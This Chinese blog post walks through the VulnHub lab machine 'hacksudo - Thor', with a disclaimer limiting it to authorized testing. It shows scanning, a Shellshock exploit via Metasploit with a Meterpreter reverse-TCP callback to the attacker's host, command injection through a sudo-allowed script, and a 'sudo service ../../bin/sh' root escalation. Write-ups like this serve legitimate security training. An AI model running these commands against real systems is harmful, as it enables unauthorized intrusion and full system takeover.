当前位置: 首页 > article >正文

vulhub系列-33-hacksudo - Thor(超详细)

免责声明本文记录的是 hacksudo - Thor 渗透测试靶机 的解题过程所有操作均在 本地授权环境 中进行。内容仅供 网络安全学习与防护研究 使用请勿用于任何非法用途。读者应遵守《网络安全法》及相关法律法规自觉维护网络空间安全。两个flaguser.txtroot.txt环境 https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip一、信息收集1、探测目标IP地址arp-scan -l #探测当前网段的所有ip地址┌──(root㉿kali)-[~] └─# arp-scan -l #探测当前网段的所有ip地址dirsearch -u http://192.168.5.11 Interface: eth0, type: EN10MB, MAC: 08:00:27:63:b0:05, IPv4: 192.168.5.6 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.5.1 0a:00:27:00:00:04 (Unknown: locally administered) 192.168.5.2 08:00:27:94:63:44 PCS Systemtechnik GmbH 192.168.5.9 08:00:27:84:ac:db PCS Systemtechnik GmbH ​ 4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.180 seconds (117.43 hosts/sec). 3 respondednmap -sP 192.168.5.0/24┌──(root㉿kali)-[~] └─# nmap -sP 192.168.5.0/24 Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-24 11:49 -0400 Nmap scan report for 192.168.5.1 Host is up (0.00015s latency). MAC Address: 0A:00:27:00:00:04 (Unknown) Nmap scan report for 192.168.5.2 Host is up (0.00019s latency). MAC Address: 08:00:27:94:63:44 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.5.9 Host is up (0.00023s latency). MAC Address: 08:00:27:84:AC:DB (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.5.6 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 3.86 seconds目标IP192.168.5.92、探测目标IP开放端口nmap -A -T4 -p 1-65535 192.168.5.9┌──(root㉿kali)-[~] └─# nmap -A -T4 -p 1-65535 192.168.5.9 Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-24 11:50 -0400 Nmap scan report for 192.168.5.9 Host is up (0.00022s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp filtered ftp 22/tcp open ssh OpenSSH 7.9p1 Debian 10deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 37:36:60:3e:26:ae:23:3f:e1:8b:5d:18:e7:a7:c7:ce (RSA) | 256 34:9a:57:60:7d:66:70:d5:b5:ff:47:96:e0:36:23:75 (ECDSA) |_ 256 ae:7d:ee:fe:1d:bc:99:4d:54:45:3d:61:16:f8:6c:87 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesnt have a title (text/html; charsetUTF-8). |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:84:AC:DB (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.22 ms 192.168.5.9 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.42 seconds端口21、22、803、目录探测dirsearch -u http://192.168.5.9┌──(root㉿kali)-[~] └─# dirsearch -u http://192.168.5.9 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /root/reports/http_192.168.5.9/_26-03-24_11-50-33.txt Target: http://192.168.5.9/ [11:50:33] Starting: [11:50:34] 403 - 276B - /.ht_wsr.txt [11:50:34] 403 - 276B - /.htaccess.bak1 [11:50:34] 403 - 276B - /.htaccess.orig [11:50:34] 403 - 276B - /.htaccess.sample [11:50:34] 403 - 276B - /.htaccess.save [11:50:34] 403 - 276B - /.htaccess_extra [11:50:34] 403 - 276B - /.htaccess_orig [11:50:34] 403 - 276B - /.htaccessBAK [11:50:34] 403 - 276B - /.htaccess_sc [11:50:34] 403 - 276B - /.htaccessOLD2 [11:50:34] 403 - 276B - /.htaccessOLD [11:50:34] 403 - 276B - /.htm [11:50:34] 403 - 276B - /.html [11:50:34] 403 - 276B - /.htpasswd_test [11:50:34] 403 - 276B - /.httr-oauth [11:50:34] 403 - 276B - /.htpasswds [11:50:34] 403 - 276B - /.php [11:50:38] 302 - 7KB - /admin_home.php - home.php [11:50:39] 200 - 489B - /admin_login.php [11:50:43] 403 - 276B - /cgi-bin/ [11:50:45] 200 - 1KB - /contact.php [11:50:48] 301 - 310B - /fonts - http://192.168.5.9/fonts/ [11:50:49] 200 - 278B - /header.php [11:50:49] 200 - 2KB - /home.php [11:50:50] 301 - 311B - /images - http://192.168.5.9/images/ [11:50:50] 200 - 665B - /images/ [11:50:55] 200 - 3KB - /news.php [11:51:00] 200 - 4KB - /README.md [11:51:01] 403 - 276B - /server-status [11:51:01] 403 - 276B - /server-status/ Task Completed二、漏洞利用1、信息搜集http://192.168.5.9/news.php查看其源码发现!-- cgi-bin ---!这暗示此apache服务器可能遭受shellshock漏洞。它需要在机器上存在一个shell 脚本我们可以使用dirb进行测试一下文件名。dirb http://192.168.5.9/cgi-bin -X .sh┌──(root㉿kali)-[~] └─# dirb http://192.168.5.9/cgi-bin -X .sh ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Tue Mar 24 11:54:19 2026 URL_BASE: http://192.168.5.9/cgi-bin/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt EXTENSIONS_LIST: (.sh) | (.sh) [NUM 1] ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.5.9/cgi-bin/ ---- http://192.168.5.9/cgi-bin/shell.sh (CODE:500|SIZE:609) ----------------- END_TIME: Tue Mar 24 11:54:21 2026 DOWNLOADED: 4612 - FOUND: 1成功测试出文件名为shell.sh不过需要注意的一点是这里为啥不用常用的gobuster 是因为gobuster 工具默认情况下不会捕获状态代码 500所以它不会检测到这个文件因为默认情况下它会给出 500在kali本地上搜索一下Shellshock 漏洞看一下是否有相关脚本可以利用可以利用searchsploit Shellshock┌──(root㉿kali)-[~] └─# searchsploit Shellshock ----------------------------------------------------------- --------------------------------- Exploit Title | Path ----------------------------------------------------------- --------------------------------- Advantech Switch - Shellshock Bash Environment Variable | cgi/remote/38849.rb Apache mod_cgi - Shellshock Remote Command Injection | linux/remote/34900.py Bash - Shellshock Environment Variables Command Injectio | linux/remote/34766.php Bash CGI - Shellshock Remote Command Injection (Metasplo | cgi/webapps/34895.rb Cisco UCS Manager 2.1(1b) - Remote Command Injection (Shel | hardware/remote/39568.py dhclient 4.1 - Bash Environment Variable Command Injection | linux/remote/36933.py GNU Bash - Shellshock Environment Variable Command Injec | linux/remote/34765.txt IPFire - Shellshock Bash Environment Variable Command In | cgi/remote/39918.rb NUUO NVRmini 2 3.0.8 - Remote Command Injection (Shellshoc | cgi/webapps/40213.txt OpenVPN 2.2.29 - Shellshock Remote Command Injection | linux/remote/34879.txt PHP 5.6.2 - Shellshock Safe Mode / disable_functions B | php/webapps/35146.txt Postfix SMTP 4.2.x 4.2.48 - Shellshock Remote Command | linux/remote/34896.py RedStar 3.0 Server - Shellshock BEAM / RSSMON Comman | linux/local/40938.py Sun Secure Global Desktop and Oracle Global Desktop 4.61.9 | cgi/webapps/39887.txt TrendMicro InterScan Web Security Virtual Appliance - She | hardware/remote/40619.py ----------------------------------------------------------- --------------------------------- Shellcodes: No Results有很多可以利用啊拿第二个去看看内容searchsploit -m linux/remote/34900.py┌──(root㉿kali)-[~] └─# searchsploit -m linux/remote/34900.py Exploit: Apache mod_cgi - Shellshock Remote Command Injection URL: https://www.exploit-db.com/exploits/34900 Path: /usr/share/exploitdb/exploits/linux/remote/34900.py Codes: CVE-2014-6278, CVE-2014-6271 Verified: True File Type: Python script, ASCII text executable Copied to: /root/34900.py本地运行出错这里咱们干脆去Metasploit利用吧2、Shellshock漏洞利用# 启动 Metasploit 框架控制台 msfconsole # 搜索与 Shellshock 漏洞相关的模块 search shellshock # 加载利用 Apache CGI 中 Bash 环境变量注入漏洞的模块 use exploit/multi/http/apache_mod_cgi_bash_env_exec # 显示当前模块需要配置的参数 show options # 设置 payload set payload linux/x86/meterpreter/reverse_tcp # 设置目标主机的 IP 地址被攻击方 set RHOST 192.168.5.9 # 设置端口 set RPORT 80 # 设置本地主机 IP 地址攻击方用于接收反弹 shell set LHOST 192.168.5.6 # 设置监听端口 set LPORT 2233 # 设置目标服务器上存在漏洞的 CGI 脚本路径 set TARGETURI /cgi-bin/shell.sh # 再次查看配置确认参数已正确设置 show options # 执行漏洞利用 run # 若成功获取会话输入此命令进入目标系统的命令行 shell shell┌──(root㉿kali)-[~] └─# msfconsole Metasploit tip: Bind your reverse shell to a tunnel with set ReverseListenerBindAddress tunnel_address and set ReverseListenerBindPort tunnel_port (e.g., ngrok) *Neutrino_Cannon*PrettyBeefy*PostalTime*binbash*deadastronauts*EvilBunnyWrote*L1T*Mail.ru*() { :;}; echo vulnerable* *Team sorceror*ADACTF*BisonSquad*socialdistancing*LeukeTeamNaam*OWASP Moncton*Alegori*exit*Vampire Bunnies*APT593* *QuePasaZombiesAndFriends*NetSecBG*coincoin*ShroomZ*Slow Coders*Scavenger Security*Bruh*NoTeamName*Terminal Cult* *edspiner*BFG*MagentaHats*0x01DA*Kaczuszki*AlphaPwners*FILAHA*Raffaela*HackSurYvette*outout*HackSouth*Corax*yeeb0iz* *SKUA*Cyber COBRA*flaghunters*0xCD*AI Generated*CSEC*p3nnm3d*IFS*CTF_Circle*InnotecLabs*baadf00d*BitSwitchers*0xnoobs* *ItPwns - Intergalactic Team of PWNers*PCCsquared*fr334aks*runCMD*0x194*Kapital Krakens*ReadyPlayer1337*Team 443* *H4CKSN0W*InfOUsec*CTF Community*DCZia*NiceWay*0xBlueSky*ME3*TipiHack*Porg Pwn Platoon*Hackerty*hackstreetboys* *ideaengine007*eggcellent*H4x*cw167*localhorst*Original Cyan Lonkero*Sad_Pandas*FalseFlag*OurHeartBleedsOrange*SBWASP* *Cult of the Dead Turkey*doesthismatter*crayontheft*Cyber Mausoleum*scripterz*VetSec*norbot*Delta Squad Zero*Mukesh* *x00-x00*BlackCat*ARESx*cxp*vaporsec*purplehax*RedTeamMTU*UsalamaTeam*vitamink*RISC*forkbomb444*hownowbrowncow* *etherknot*cheesebaguette*downgrade*FR!3ND5*badfirmware*Cut3Dr4g0n*dc615*nora*Polaris One*team*hail hydra*Takoyaki* *Sudo Society*incognito-flash*TheScientists*Tea Party*Reapers of Pwnage*OldBoys*M0ul3Fr1t1B13r3*bearswithsaws*DC540* *iMosuke*Infosec_zitro*CrackTheFlag*TheConquerors*Asur*4fun*Rogue-CTF*Cyber*TMHC*The_Pirhacks*btwIuseArch*MadDawgs* *HInc*The Pighty Mangolins*CCSF_RamSec*x4n0n*x0rc3r3rs*emehacr*Ph4n70m_R34p3r*humziq*Preeminence*UMGC*ByteBrigade* *TeamFastMark*Towson-Cyberkatz*meow*xrzhev*PA Hackers*Kuolema*Nakateam*L0g!c B0mb*NOVA-InfoSec*teamstyle*Panic* *B0NG0R3* *Les Cadets Rouges*buf* *Les Tontons Fl4gueurs* *404 : Flag Not Found* * UNION SELECT password* _________ __ *OCD247*Sparkle Pony* *burner_herz0g* \_ ___ \_____ _______/ |_ __ _________ ____ *Kill$hot*ConEmu* *here_there_be_trolls* / \ \/\__ \ \____ \ __\ | \_ __ \_/ __ \ *;echohacked* *r4t5_*6rung4nd4*NYUSEC* \ \____/ __ \| |_ | | | /| | \/\ ___/ *karamel4e* *IkastenIO*TWC*balkansec* \______ (____ / __/|__| |____/ |__| \___ *cybersecurity.li* *TofuEelRoll*Trash Pandas* \/ \/|__| \/ *OneManArmy*cyb3r_w1z4rd5* *Astra*Got Schwartz?*tmux* ___________.__ *AreYouStuck*Mr.Robot.0* *\nls*Juicy white peach* \__ ___/| |__ ____ *EPITA Rennes* *HackerKnights* | | | | \_/ __ \ *guildOfGengar*Titans* *Pentest Rangers* | | | Y \ ___/ *The Libbyrators* *placeholder name*bitup* |____| |___| /\___ *JeffTadashi*Mikeal* *UCASers*onotch* \/ \/ *ky_dong_day_song* *NeNiNuMmOk* ___________.__ *JustForFun!* *Maux de tête*LalaNG* \_ _____/| | _____ ____ *g3tsh3Lls0on* *crr0tz*z3r0p0rn*clueless* | __) | | \__ \ / ___\ *Phở Đặc Biệt*Paradox* *HackWara* | \ | |__/ __ \_/ /_/ *KaRIPux*inf0sec* *Kugelschreibertester* \___ / |____(____ /\___ / *bluehens*Antoine77* *icemasters* \/ \//_____/ *genxy*TRADE_NAMES* *Spartans Ravens* _______________ _______________ *BadByte*fontwang_tw* *g0ldd1gg3rs*pappo* \_____ \ _ \ \_____ \ _ \ *ghoti* *Les CRACKS*c0dingRabbits* / ____/ /_\ \ / ____/ /_\ \ *LinuxRiders* *2Cr4Sh*RecycleBin* / \ \_/ \/ \ \_/ \ *Jalan Durian* *ExploitStudio* \_______ \_____ /\_______ \_____ / *WPICSC*logaritm* *Car RamRod*0x41414141* \/ \/ \/ \/ *Orv1ll3*team-fm4dd* *Björkson*FlyingCircus* *PwnHub*H4X0R*Yanee* *Securifera*hot cocoa* *Et3rnal*PelarianCP* *n00bytes*DNCG*guildzero*dorko*tv*42*{EHF}*CarpeDien*Flamin-Go*BarryWhite*XUcyber*FernetInjection*DCcurity* *Mars Explorer*ozen_cfw*Fat Boys*Simpatico*nzdjb*Isec-U.O*The Pomorians*T35H*Hwk33*JetJ*OrangeStar*Team Corgi* *D0g3*0itch*OffRes*LegionOfRinf*UniWA*wgucoo*Pr0ph3t*L0ner*_n00bz*OSINT Punchers*Tinfoil Hats*Hava*Team Neu* *Cyb3rDoctor*Techlock Inc*kinakomochi*DubbelDopper*bubbasnmp*w*Gh0st$*tyl3rsec*LUCKY_CLOVERS*ev4d3rx10-team*ir4n6* *PEQUI_ctf*HKLBGD*L3o*5 bits short of a byte*UCM*ByteForc3*Death_Geass*Stryk3r*WooT*Raise The Black*CTErr0r* *Individual*mikejam*Flag Predator*klandes*_no_Skids*SQ.*CyberOWL*Ironhearts*Kizzle*gauti* *San Antonio College Cyber Rangers*sam.ninja*Akerbeltz*cheeseroyale*Ephyra*sard city*OrderingChaos*Pickle_Ricks* *Hex2Text*defiant*hefter*Flaggermeister*Oxford Brookes University*OD1E*noob_noob*Ferris Wheel*Ficus*ONO*jameless* *Log1c_b0mb*dr4k0t4*0th3rs*dcua*cccchhhh6819*Manzaras Magpies*pwn4lyfe*Droogy*Shrubhound Gang*ssociety*HackJWU* *asdfghjkl*n00bi3*i-cube warriors*WhateverThrone*Salvat0re*Chadsec*0x1337deadbeef*StarchThingIDK*Tieto_alaviiva_turva* *InspiV*RPCA Cyber Club*kurage0verfl0w*lammm*pelicans_for_freedom*switchteam*tim*departedcomputerchairs*cool_runnings* *chads*SecureShell*EetIetsHekken*CyberSquad*PK*Trident*RedSeer*SOMA*EVM*BUckys_Angels*OrangeJuice*DemDirtyUserz* *OpenToAll*Born2Hack*Bigglesworth*NIS*10Monkeys1Keyboard*TNGCrew*Cla55N0tF0und*exploits33kr*root_rulzz*InfosecIITG* *superusers*HrdT0R3m3b3r*operators*NULL*stuxCTF*mHackresciallo*Eclipse*Gingabeast*Hamad*Immortals*arasan*MouseTrap* *damn_sadboi*tadaaa*null2root*HowestCSP*fezfezf*LordVader*Flg_Hunt3rs*bluenet*PGe2mE* [ metasploit v6.4.103-dev ] -- --[ 2,584 exploits - 1,319 auxiliary - 1,694 payloads ] -- --[ 433 post - 49 encoders - 14 nops - 9 evasion ] Metasploit Documentation: https://docs.metasploit.com/ The Metasploit Framework is a Rapid7 Open Source Project msf search shellshock Matching Modules # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/linux/http/advantech_switch_bash_env_exec 2015-12-01 excellent Yes Advantech Switch Bash Environment Variable Code Injection (Shellshock) 1 exploit/multi/http/apache_mod_cgi_bash_env_exec 2014-09-24 excellent Yes Apache mod_cgi Bash Environment Variable Code Injection (Shellshock) 2 \_ target: Linux x86 . . . . 3 \_ target: Linux x86_64 . . . . 4 auxiliary/scanner/http/apache_mod_cgi_bash_env 2014-09-24 normal Yes Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner 5 exploit/multi/http/cups_bash_env_exec 2014-09-24 excellent Yes CUPS Filter Bash Environment Variable Code Injection (Shellshock) 6 auxiliary/server/dhclient_bash_env 2014-09-24 normal No DHCP Client Bash Environment Variable Code Injection (Shellshock) 7 exploit/unix/dhcp/bash_environment 2014-09-24 excellent No Dhclient Bash Environment Variable Injection (Shellshock) 8 exploit/linux/http/ipfire_bashbug_exec 2014-09-29 excellent Yes IPFire Bash Environment Variable Injection (Shellshock) 9 exploit/multi/misc/legend_bot_exec 2015-04-27 excellent Yes Legend Perl IRC Bot Remote Code Execution 10 exploit/osx/local/vmware_bash_function_root 2014-09-24 normal Yes OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock) 11 exploit/multi/ftp/pureftpd_bash_env_exec 2014-09-24 excellent Yes Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock) 12 \_ target: Linux x86 . . . . 13 \_ target: Linux x86_64 . . . . 14 exploit/unix/smtp/qmail_bash_env_exec 2014-09-24 normal No Qmail SMTP Bash Environment Variable Injection (Shellshock) 15 exploit/multi/misc/xdh_x_exec 2015-12-04 excellent Yes Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution Interact with a module by name or index. For example info 15, use 15 or use exploit/multi/misc/xdh_x_exec msf msf use exploit/multi/http/apache_mod_cgi_bash_env_exec [*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp msf exploit(multi/http/apache_mod_cgi_bash_env_exec) msf exploit(multi/http/apache_mod_cgi_bash_env_exec) show options Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec): Name Current Setting Required Description ---- --------------- -------- ----------- CMD_MAX_LENGTH 2048 yes CMD max line length CVE CVE-2014-6271 yes CVE to check/exploit (Accepted: CVE-2014-6271 , CVE-2014-6278) HEADER User-Agent yes HTTP header to use METHOD GET yes HTTP method to use Proxies no A proxy chain of format type:host:port[,type: host:port][...]. Supported proxies: sapni, so cks4, socks5, socks5h, http RHOSTS yes The target host(s), see https://docs.metasplo it.com/docs/using-metasploit/basics/using-met asploit.html RPATH /bin yes Target PATH for binaries used by the CmdStage r RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI yes Path to CGI script TIMEOUT 5 yes HTTP read response timeout (seconds) URIPATH no The URI to use for this exploit (default is r andom) VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. Th is must be an address on the local machine or 0.0.0. 0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. Payload options (linux/x86/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.0.3.15 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Linux x86 View the full module info with the info, or info -d command. msf exploit(multi/http/apache_mod_cgi_bash_env_exec) msf exploit(multi/http/apache_mod_cgi_bash_env_exec) set payload linux/x86/meterpreter/reverse_tcp payload linux/x86/meterpreter/reverse_tcp msf exploit(multi/http/apache_mod_cgi_bash_env_exec) msf exploit(multi/http/apache_mod_cgi_bash_env_exec) set RHOST 192.168.5.9 RHOST 192.168.5.9 msf exploit(multi/http/apache_mod_cgi_bash_env_exec) msf exploit(multi/http/apache_mod_cgi_bash_env_exec) set RPORT 80 RPORT 80 msf exploit(multi/http/apache_mod_cgi_bash_env_exec) msf exploit(multi/http/apache_mod_cgi_bash_env_exec) set LHOST 192.168.5.6 LHOST 192.168.5.6 msf exploit(multi/http/apache_mod_cgi_bash_env_exec) msf exploit(multi/http/apache_mod_cgi_bash_env_exec) set LPORT 2233 LPORT 2233 msf exploit(multi/http/apache_mod_cgi_bash_env_exec) msf exploit(multi/http/apache_mod_cgi_bash_env_exec) set TARGETURI /cgi-bin/shell.sh TARGETURI /cgi-bin/shell.sh msf exploit(multi/http/apache_mod_cgi_bash_env_exec) msf exploit(multi/http/apache_mod_cgi_bash_env_exec) show options Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec): Name Current Setting Required Description ---- --------------- -------- ----------- CMD_MAX_LENGTH 2048 yes CMD max line length CVE CVE-2014-6271 yes CVE to check/exploit (Accepted: CVE-2014-62 71, CVE-2014-6278) HEADER User-Agent yes HTTP header to use METHOD GET yes HTTP method to use Proxies no A proxy chain of format type:host:port[,typ e:host:port][...]. Supported proxies: sapni , socks4, socks5, socks5h, http RHOSTS 192.168.5.9 yes The target host(s), see https://docs.metasp loit.com/docs/using-metasploit/basics/using -metasploit.html RPATH /bin yes Target PATH for binaries used by the CmdSta ger RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default i s randomly generated) TARGETURI /cgi-bin/shell.sh yes Path to CGI script TIMEOUT 5 yes HTTP read response timeout (seconds) URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. Th is must be an address on the local machine or 0.0.0. 0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. Payload options (linux/x86/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.5.6 yes The listen address (an interface may be specified) LPORT 2233 yes The listen port Exploit target: Id Name -- ---- 0 Linux x86 View the full module info with the info, or info -d command. msf exploit(multi/http/apache_mod_cgi_bash_env_exec) msf exploit(multi/http/apache_mod_cgi_bash_env_exec) run [*] Started reverse TCP handler on 192.168.5.6:2233 [*] Command Stager progress - 100.00% done (1092/1092 bytes) [*] Sending stage (1062760 bytes) to 192.168.5.9 [*] Meterpreter session 1 opened (192.168.5.6:2233 - 192.168.5.9:32912) at 2026-03-24 12:04:53 -0400 meterpreter shell Process 882 created. Channel 1 created. id uid33(www-data) gid33(www-data) groups33(www-data)3、升级shellpython -c import pty;pty.spawn(/bin/bash);python -c import pty;pty.spawn(/bin/bash); bash-4.3$4、查看当前账户是否存在可以使用的特权命令bash-4.3$ sudo -l sudo -l Matching Defaults entries for www-data on HackSudoThor: env_reset, mail_badpass, secure_path/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on HackSudoThor: (thor) NOPASSWD: /home/thor/./hammer.sh bash-4.3$我们可以看到用户可以以另一个用户thor的身份执行脚本此外脚本会受到代码执行的影响尝试执行该脚本看看是否有有价值的信息sudo -u thor /home/thor/./hammer.shbash-4.3$ sudo -u thor /home/thor/./hammer.sh sudo -u thor /home/thor/./hammer.sh HELLO want to talk to Thor? Enter Thor Secret Key : Hey Dear ! I am , Please enter your Secret massage : Thank you for your precious time! bash-4.3$ bash-4.3$这意味着我们可以通过使用bash作为输入来获得用户thor的shell访问权限。bash-4.3$ sudo -u thor /home/thor/./hammer.sh sudo -u thor /home/thor/./hammer.sh HELLO want to talk to Thor? Enter Thor Secret Key : Hey Dear ! I am , Please enter your Secret massage : bash bash id id uid1001(thor) gid1001(thor) groups1001(thor)成功拿到thor的权限升级一下shellSHELL/bin/bash script -q /dev/nullSHELL/bin/bash script -q /dev/null SHELL/bin/bash script -q /dev/null thorHacksudoThor:/usr/lib/cgi-bin$进入用户目录下查看相关文件内容首先咱们拿到了user.txtthorHacksudoThor:/usr/lib/cgi-bin$ cd cd thorHacksudoThor:~$ ls ls file file.sh hack.tar hammer.sh id_rsa ll tar user.txt thorHacksudoThor:~$ thorHacksudoThor:~$ cat user.txt cat user.txt user owned thorHacksudoThor:~$ thorHacksudoThor:~$再查看一下另外两个shell脚本cat file.sh cat hammer.shthorHacksudoThor:~$ cat file.sh cat file.sh chmod us /home/thor/bash thorHacksudoThor:~$ thorHacksudoThor:~$ cat hammer.sh cat hammer.sh #!/bin/bash echo echo HELLO want to talk to Thor? echo read -p Enter Thor Secret Key : key read -p Hey Dear ! I am $key , Please enter your Secret massage : msg $msg 2/dev/null echo Thank you for your precious time! thorHacksudoThor:~$5、查看当前账户是否存在可以使用的特权命令、thorHacksudoThor:~$ sudo -l sudo -l Matching Defaults entries for thor on HackSudoThor: env_reset, mail_badpass, secure_path/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User thor may run the following commands on HackSudoThor: (root) NOPASSWD: /usr/bin/cat, /usr/sbin/service thorHacksudoThor:~$发现可以无密码以root权限运行/usr/bin/cat和/usr/sbin/service6、提权方式1cat提权貌似不适用这个环境7、提权方式2service提权sudo service ../../bin/sh id whoami cd /root # 查看flag cat root.txt cat proof.txtthorHacksudoThor:~$ sudo service ../../bin/sh sudo service ../../bin/sh # id id uid0(root) gid0(root) groups0(root) # ​ # whoami whoami root # ​ # cd /root cd /root # ​ # ls ls proof.txt root.txt # ​ # cat root.txt cat root.txt rooted # ​ # cat proof.txt cat proof.txt rooted ████████ ▒▒▒▒▒▒██▒▒▒▒ ▓▓░░▒▒▓▓ ░░▒▒██ ██░░▒▒▓▓▒▒▓▓ ░░▒▒██ ██░░▒▒▓▓▒▒▒▒▒▒▓▓ ░░▒▒██ ██░░▒▒▓▓▒▒▒▒░░░░▒▒▓▓ ░░▒▒▓▓ ██████ ▓▓░░▒▒▓▓▒▒▒▒░░░░░░░░▒▒▓▓ ░░▒▒▓▓ ▓▓░░▓▓▓▓▓▓ ▓▓▒▒▓▓▒▒▒▒▒▒░░░░░░░░░░░░▓▓ ░░▒▒▓▓░░░░░░▓▓██ ▓▓▓▓▓▓▒▒░░ ▒▒░░░░░░ ░░▒▒▓▓ ░░▒▒▓▓░░▒▒▒▒██ ▓▓▓▓▓▓▓▓▒▒░░ ▒▒░░░░░░ ░░▒▒▒▒ ░░▒▒▓▓▒▒▓▓░░ ██▓▓▓▓▓▓▒▒▒▒ ▒▒░░░░░░ ░░▒▒▒▒ ░░▒▒▓▓ ██▓▓▓▓▓▓▒▒▒▒ ▒▒░░░░░░ ░░▒▒▒▒ ░░▒▒██ ██▓▓▓▓▓▓▒▒▒▒ ▒▒░░░░░░ ░░▒▒▓▓ ░░▒▒██ ▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░░░░░░░░░▒▒▓▓ ░░▒▒██ ▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░░░░░░░░░▒▒▓▓ ░░▒▒██ ▓▓▓▓▓▓▓▓▒▒▒▒ ▒▒░░░░░░ ░░▒▒▓▓ ░░▒▒██ ▓▓▓▓▓▓▓▓▒▒▒▒ ▒▒░░░░░░ ░░▒▒▓▓ ░░▒▒██ ▓▓░░▓▓▓▓▓▓▓▓▒▒▒▒ ▒▒░░░░░░░░░░▒▒▓▓ ▓▓▓▓██ ▓▓░░░░░░▓▓▓▓▓▓▓▓▒▒░░ ▒▒░░░░░░ ▒▒▒▒▓▓ ████ ▓▓░░░░░░▒▒▒▒▓▓▓▓▓▓▓▓▒▒░░ ▒▒░░ ▒▒▒▒▓▓▓▓▓▓░░██ ██░░░░░░▒▒▒▒██ ██▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓██░░▒▒██ ██ ░░░░▒▒▒▒██ ██▓▓▓▓▓▓▒▒░░ ▒▒▓▓▓▓██░░▒▒██ ░░ ░░ ██░░░░░░▒▒▒▒██ ██▓▓▓▓▓▓▒▒▒▒▓▓▓▓██░░▒▒██ ░░ ░░ ░░ ██ ░░░░▒▒▒▒▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░▒▒██ ░░ ░░ ██ ░░░░▒▒▒▒▓▓ ░░▓▓▓▓▓▓▓▓▓▓░░▒▒██ ░░ ██ ░░░░▒▒▒▒▓▓ ░░▓▓▓▓▓▓░░▒▒██ ██ ░░░░▒▒▒▒██ ░░██▓▓██▓▓ ▓▓ ░░░░▒▒▒▒██ ██ ░░░░▒▒▒▒██ ▓▓ ░░░░▒▒▒▒██ ▓▓ ░░░░▒▒▒▒██ ░░▓▓░░░░░░▒▒▒▒██ ░░▓▓░░░░░░▒▒▒▒▓▓ ░░▒▒░░░░░░▒▒▒▒▓▓ ▒▒░░░░░░▒▒▒▒▓▓ ██░░░░░░▒▒▒▒▓▓ ██ ░░░░▒▒▒▒▓▓ ██ ░░░░▒▒▒▒▓▓ ██ ░░░░▒▒▒▒▓▓ ▓▓ ░░░░▒▒▒▒▓▓ ██ ░░░░▒▒▒▒▒▒ ▓▓░░░░░░▒▒▒▒██ ████▓▓▓▓░░▒▒▒▒██ ██▒▒ ▒▒▓▓▓▓▒▒██ ▓▓▒▒ ▒▒▒▒▓▓██ ▓▓▒▒▒▒▒▒▓▓██ ██▓▓▓▓▓▓▓▓██ ░░▓▓▓▓▓▓▓▓░░ ​ # ​本文涉及的技术方法仅适用于 授权测试环境 或 合法 CTF 